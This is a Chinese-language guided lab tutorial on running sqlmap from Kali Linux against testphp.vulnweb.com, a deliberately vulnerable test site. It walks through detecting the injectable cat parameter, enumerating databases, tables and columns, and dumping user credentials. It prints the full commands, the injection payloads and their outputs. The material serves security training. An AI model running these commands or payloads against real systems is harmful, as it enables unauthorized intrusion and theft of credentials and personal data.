使用 sqlmap 进行 Kali SQL 注入实验

Kali LinuxBeginner
立即练习

介绍

在本实验中,你将学习如何使用 Kali Linux 以及功能强大的工具 sqlmap 来识别并利用 SQL 注入漏洞。通过一系列引导步骤,你将检测一个存在漏洞的 Web 应用程序,枚举其数据库结构,并提取敏感数据。所有活动均在受控的 LabEx 虚拟机环境中使用 Kali Linux 容器进行。本实验专为初学者设计,旨在提供自动化 Web 应用程序安全测试的实战经验。当你打开终端时,系统会自动连接到 Kali Linux 容器的 Shell,随时可以开始实验。

这是一个引导实验,提供了逐步指导以帮助你学习和练习。请仔细遵循说明完成每个步骤并获得实战经验。历史数据表明,这是一个中级难度的实验,完成率为 60%。它在学习者中获得了 97% 的好评率。

环境准备与安装 sqlmap

你的实验环境已经预先配置好,当你打开终端时,会自动进入 Kali Linux 容器的 Shell。你的首要任务是通过更新软件包列表并安装 sqlmap 来准备环境,这是本实验的核心工具。

sqlmap 是一款开源的渗透测试工具,它可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。

首先,更新软件包仓库索引。这可以确保你能获取到最新版本的软件。

apt update

接下来,使用以下命令安装 sqlmap-y 参数会自动确认安装。

apt install -y sqlmap

此过程可能需要片刻时间。安装完成后,通过检查版本号来验证 sqlmap 是否安装成功。

sqlmap --version

你应该能看到显示的 sqlmap 版本号,这表明该工具已准备就绪。

预期输出(版本号可能有所不同):

1.x.x#stable

随着 sqlmap 的安装和验证完成,你的环境现已准备好进入后续步骤,届时你将开始对目标 Web 应用程序进行 SQL 注入漏洞测试。

检测 SQL 注入漏洞

既然 sqlmap 已经安装完毕,你可以开始测试 Web 应用程序是否存在 SQL 注入漏洞。在本实验中,我们将使用一个公开的、专门为安全测试设计的漏洞网站。任何 SQL 注入攻击的第一步都是识别可注入的参数。

本实验的目标 URL 是 http://testphp.vulnweb.com/listproducts.php?cat=1。参数 cat=1 是一个潜在的注入入口点。我们将使用 sqlmap 自动测试该参数。

运行以下命令开始测试。-u 参数用于指定目标 URL。我们使用 --batch 参数让 sqlmap 在遇到任何交互式问题时自动使用默认回答,从而使过程非交互化且更快速。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap 将对该 URL 进行一系列测试。它会分析响应内容,以判断 cat 参数是否可注入。由于它会尝试多种 SQL 注入技术,这个过程可能需要一到两分钟。

扫描完成后,查看输出结果。你应该能找到一段确认漏洞的信息。

预期输出(部分截取):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出结果证实了 cat 参数容易受到多种类型的 SQL 注入攻击:

  • 布尔型盲注(Boolean-based blind):利用真/假逻辑提取数据。
  • 报错注入(Error-based):利用数据库错误消息泄露信息。
  • 时间型盲注(Time-based blind):利用响应延迟来确认注入。
  • 联合查询注入(UNION query):合并多个 SELECT 语句的结果。

扫描还识别出后端数据库为 MySQL 5.6 或更高版本,运行在安装了 Nginx 和 PHP 的 Linux Ubuntu 系统上。这些详细的指纹识别信息将指导后续的漏洞利用步骤。

枚举数据库

在确认漏洞存在后,下一个逻辑步骤是发现服务器上存在哪些数据库。这个过程被称为数据库枚举。了解数据库名称对于导航服务器的数据结构至关重要。

你将使用 sqlmap--dbs 参数来列出所有可用的数据库。该命令会复用上一步中的会话数据,因此 sqlmap 不需要重新验证漏洞。

运行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap 将利用漏洞查询数据库模式(Schema)并检索所有数据库名称列表。请注意,sqlmap 会从存储的会话中恢复,因此无需重新测试漏洞。

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出显示有两个数据库:acuartinformation_schema

  • information_schema 是 MySQL 中的标准数据库,存储了关于所有其他数据库的元数据。它很有用,但通常不是数据窃取的主要目标。
  • acuart 看起来是一个自定义的应用程序数据库,很可能包含我们正在寻找的有趣数据,如用户信息或应用数据。

既然你已经获得了应用程序数据库的名称,就可以继续检查其中的内容了。

枚举表和列

在识别出 acuart 数据库后,你的下一个目标是查看它包含哪些表。表是实际存储数据的地方。例如,名为 userscustomers 的表就是高价值目标。

要列出 acuart 数据库中的表,请使用 -D 参数指定数据库名称,并使用 --tables 参数请求表列表。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出结果显示了几个表,其中 users 表特别引人注目。让我们通过列出其列名来进一步调查 users 表。为此,添加 -T 参数指定表名,并使用 --columns 参数。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

uname(用户名)和 pass(密码)是数据提取的首要目标。其他有趣的列还包括 emailcc(信用卡)和 phone 等客户信息。你现在已经掌握了导出这些敏感列内容所需的所有信息。

从表中导出数据

这是攻击的最后一步,你将从目标表中提取数据。根据之前的步骤,你已经知道了数据库(acuart)、表(users)以及感兴趣的列(uname, pass)。

要导出数据,你将使用 --dump 参数。你可以使用 -C 参数指定要导出的列,从而使过程更快、更具针对性。

运行以下命令从 users 表中导出用户名和密码:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap 现在将从指定的列中提取数据并显示在终端中。它还会将数据保存到 CSV 文件中以便后续分析。

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出显示了一个用户条目,用户名为 test,密码为 test。这次成功的数据提取展示了 SQL 注入漏洞的严重影响:

  • 数据泄露:敏感的用户凭据被暴露。
  • 未经授权的访问:这些凭据可被用于登录应用程序。
  • 隐私侵犯:个人信息遭到泄露。
  • 安全风险:该漏洞可能被进一步利用以访问其他数据或提升权限。

这完成了一个典型的 SQL 注入攻击序列:检测 → 枚举 → 利用 → 数据提取。

你还可以通过读取输出中提到的 CSV 文件来查看保存的数据。

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

预期输出:

uname,pass
test,test

这确认了数据已被成功窃取并保存。

总结

在本实验中,你已经在 Kali Linux 环境中成功使用 sqlmap 完成了一次端到端的 SQL 注入攻击。你从安装 sqlmap 开始,然后使用它自动检测在线 Web 应用程序中的漏洞。遵循系统化的方法,你枚举了服务器的数据库,列出了目标数据库中的表,识别了敏感列,并最终导出了用户凭据。通过这次实战演练,你对如何利用自动化工具发现并利用这一最常见且最严重的 Web 安全缺陷有了深刻的理解。